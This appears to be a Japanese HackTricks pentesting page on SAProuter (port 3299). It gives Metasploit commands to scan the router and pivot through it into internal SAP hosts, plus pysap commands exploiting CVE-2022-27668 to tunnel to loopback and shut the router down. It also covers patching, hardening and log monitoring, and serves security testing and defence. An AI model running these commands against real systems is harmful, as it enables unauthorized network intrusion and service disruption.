# 3299/tcp - SAProuterのペンテスト

Reading time: 10 minutes

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする
text
PORT     STATE SERVICE    VERSION
3299/tcp open  saprouter?

これは、https://blog.rapid7.com/2014/01/09/piercing-saprouter-with-metasploit/ の投稿の要約です。

Metasploitを使用したSAProuterの侵入テストの理解

SAProuterは、主にインターネットと内部SAPネットワーク間のアクセスを制御するために、SAPシステムのリバースプロキシとして機能します。これは、組織のファイアウォールを通じてTCPポート3299を許可することにより、一般的にインターネットに公開されます。この設定により、SAProuterは高価値の内部ネットワークへのゲートウェイとして機能する可能性があるため、侵入テストの魅力的なターゲットとなります。

スキャンと情報収集

最初に、sap_service_discoveryモジュールを使用して、特定のIP上でSAPルーターが稼働しているかどうかを特定するためにスキャンが実行されます。このステップは、SAPルーターの存在とそのオープンポートを確認するために重要です。

text
msf> use auxiliary/scanner/sap/sap_service_discovery
msf auxiliary(sap_service_discovery) > set RHOSTS 1.2.3.101
msf auxiliary(sap_service_discovery) > run

発見に続いて、sap_router_info_request モジュールを使用してSAPルーターの設定に関するさらなる調査が行われ、内部ネットワークの詳細が明らかになる可能性があります。

text
msf auxiliary(sap_router_info_request) > use auxiliary/scanner/sap/sap_router_info_request
msf auxiliary(sap_router_info_request) > set RHOSTS 1.2.3.101
msf auxiliary(sap_router_info_request) > run

内部サービスの列挙

取得した内部ネットワークの洞察をもとに、sap_router_portscanner モジュールを使用して、SAProuterを介して内部ホストとサービスを調査し、内部ネットワークとサービス構成のより深い理解を可能にします。

text
msf auxiliary(sap_router_portscanner) > set INSTANCES 00-50
msf auxiliary(sap_router_portscanner) > set PORTS 32NN

このモジュールは、特定のSAPインスタンスやポートをターゲットにする柔軟性があり、詳細な内部ネットワーク探索に効果的なツールです。

高度な列挙とACLマッピング

さらなるスキャンにより、SAProuter上でのアクセス制御リスト(ACL)の設定が明らかになり、どの接続が許可されているか、またはブロックされているかが詳細に示されます。この情報は、セキュリティポリシーや潜在的な脆弱性を理解する上で重要です。

text
msf auxiliary(sap_router_portscanner) > set MODE TCP
msf auxiliary(sap_router_portscanner) > set PORTS 80,32NN

内部ホストのブラインド列挙

SAProuterからの直接情報が限られているシナリオでは、ブラインド列挙のような技術を適用できます。このアプローチは、内部ホスト名の存在を推測し確認することを試み、直接的なIPアドレスなしで潜在的なターゲットを明らかにします。

ペネトレーションテストのための情報活用

ネットワークをマッピングし、アクセス可能なサービスを特定した後、ペネトレーションテスターはMetasploitのプロキシ機能を利用して、SAProuterを通じて内部SAPサービスのさらなる探索と悪用を行うことができます。

text
msf auxiliary(sap_hostctrl_getcomputersystem) > set Proxies sapni:1.2.3.101:3299
msf auxiliary(sap_hostctrl_getcomputersystem) > set RHOSTS 192.168.1.18
msf auxiliary(sap_hostctrl_getcomputersystem) > run

結論

このアプローチは、SAProuterの安全な構成の重要性を強調し、ターゲットを絞ったペネトレーションテストを通じて内部ネットワークにアクセスする可能性を示しています。SAPルーターを適切に保護し、ネットワークセキュリティアーキテクチャにおけるその役割を理解することは、無許可のアクセスから守るために重要です。

Metasploitモジュールとその使用に関する詳細情報については、Rapid7のデータベースを訪れてください。


最近の脆弱性 (2022-2025)

CVE-2022-27668 – 不適切なアクセス制御 ➜ リモート管理コマンドの実行

2022年6月、SAPはSAProuter(すべてのカーネル ≥ 7.22)の重大な欠陥(CVSS 9.8)に対処するセキュリティノート3158375をリリースしました。認証されていない攻撃者は、許可されたsaprouttabエントリを悪用して、リモートホストから管理パケット(例:shutdowntrace-levelconnection-kill)を送信することができます。これは、ルーターが-Xリモート管理オプションなしで起動された場合でも可能です。

この問題は、指定されていないアドレス0.0.0.0をターゲットにすることで、ルーター自身のループバックインターフェースへのトンネルを構築できる可能性から生じます。一度トンネルが確立されると、攻撃者はローカルホストの権限を取得し、任意の管理コマンドを実行できます。

実際の悪用は、pysapフレームワークを使用して再現できます:

bash
# 1. Build a loopback tunnel through the vulnerable SAProuter
python router_portfw.py -d <ROUTER_IP> -p 3299 \
-t 0.0.0.0    -r 3299 \
-a 127.0.0.1  -l 3299 -v

# 2. Send an admin packet (here: stop the remote router)
python router_admin.py -s -d 127.0.0.1 -p 3299

影響を受けるバージョン

  • スタンドアロン SAProuter 7.22 / 7.53
  • カーネル 7.49, 7.77, 7.81, 7.85–7.88 (KRNL64NUC/UCを含む)

修正 / 緩和策

  1. SAP Note 3158375 で提供されるパッチを適用します。
  2. saprouttabP および S 行からワイルドカード (*) ターゲットを削除します。
  3. ルーターが -X オプションなしで起動され、インターネットに直接公開されていないことを確認します。

更新されたツールとトリック

  • pysap – 積極的にメンテナンスされており、カスタム NI/Router パケットの作成、ACL のファジング、CVE-2022-27668 エクスプロイトの自動化のための router_portfw.pyrouter_admin.py & router_trace.py を提供します。
  • Nmap – カスタム SAProuter プローブを追加してサービス検出を拡張します:
text
Probe TCP SAProuter q|\x00\x00\x00\x00|
ports 3299
match saprouter m|SAProuter ([\d.]+)| p/SAProuter/ v/$1/

NSE スクリプトや --script=banner と組み合わせて、バナー文字列 (SAProuter <ver> on '<host>') を漏洩するバージョンを迅速にフィンガープリンティングします。

  • Metasploit – 上記の補助モジュールは、pysap で作成された SOCKS または NI プロキシを介して引き続き機能し、ルーターが直接アクセスをブロックしている場合でもフルフレームワーク統合を可能にします。

ハードニング & 検出チェックリスト

  • 周辺ファイアウォールでポート 3299/TCP をフィルタリング – 信頼できる SAP サポートネットワークからのトラフィックのみを許可します。
  • SAProuter を 完全にパッチ適用 し、saprouter -v で確認し、最新のカーネルパッチレベルと比較します。
  • saprouttab厳格なホスト固有 エントリを使用し、* ワイルドカードを避け、任意のホストやポートをターゲットにする P/S ルールを拒否します。
  • -S <secudir> + SNC でサービスを開始し、暗号化と相互認証を強制します。
  • リモート管理 (-X) を無効にし、可能であればリスナーを 127.0.0.1 にバインドし、必要なトラフィックのために外部リバースプロキシを使用します。
  • dev_rout ログを監視し、疑わしい ROUTER_ADM パケットや予期しない NI_ROUTE リクエストを 0.0.0.0 に対して探します。

参考文献

Shodan

  • port:3299 !HTTP Network packet too big

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする